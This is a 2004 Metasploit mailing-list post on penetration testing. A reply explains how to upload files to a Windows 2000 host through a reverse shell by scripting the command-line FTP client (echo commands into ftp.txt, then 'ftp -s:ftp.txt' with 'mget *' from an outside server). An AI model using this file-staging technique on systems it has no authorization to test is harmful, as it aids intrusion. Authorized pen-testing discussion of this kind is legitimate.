Metasploit mailing list archives
Metasploit pen testing questions
From: sgorton at skaion.com (Sam Gorton)
Date: Wed, 10 Nov 2004 18:22:51 -0500
On Wed, Nov 10, 2004 at 10:38:46PM +0000, Regence 21 wrote:
On Win2k I can get a reverse shell easily and execute commands, but if I try and start the Windows command line ftp client won't work (the command line just sits there after I enter ftp). Am I missing something? Without ftp, what is the easiest way to upload a file to a Win2k target host?
ftp is trying to interact with you, but it can't. What you can do is to create a file on the target host that contains the username, password, and all your FTP commands. You can load that file with ftp -s:<filename> Something like this: cd \temp echo ftp> ftp.txt echo user at host>> ftp.txt echo cd pub/...>> ftp.txt echo prompt>> ftp.txt echo hash>> ftp.txt echo mget *>> ftp.txt echo bye>> ftp.txt ftp -s:ftp.txt <ftp_server> Note that this creates the output file (in a directory we can write to), then appends to it. Don't leave a space before the redirect, it ends up in your ftp commands. Make sure you eliminate any interaction. (There may be an actual tutorial somewhere in how to do this, but I learned this trick from someone else.) I've had good luck automating this by wrapping metasploit with Perl's Expect.pm, but that's me. -- Sam Gorton | Skaion Corporation sgorton at skaion.com | (781) 396-1095
Current thread:
- Metasploit pen testing questions Regence 21 (Nov 10)
- Metasploit pen testing questions Sam Gorton (Nov 10)
- Metasploit pen testing questions mmiller at hick.org (Nov 10)
- Metasploit pen testing questions H D Moore (Nov 12)
- <Possible follow-ups>
- Metasploit pen testing questions Israel Torres (Nov 10)
- Metasploit pen testing questions Regence 21 (Nov 10)
- Metasploit pen testing questions Phyo Arkar Lwin (Nov 16)
- Metasploit pen testing questions Guy Incognito (Nov 16)
- Metasploit pen testing questions Phyo Arkar Lwin (Nov 16)
- Metasploit pen testing questions Guy Incognito (Nov 16)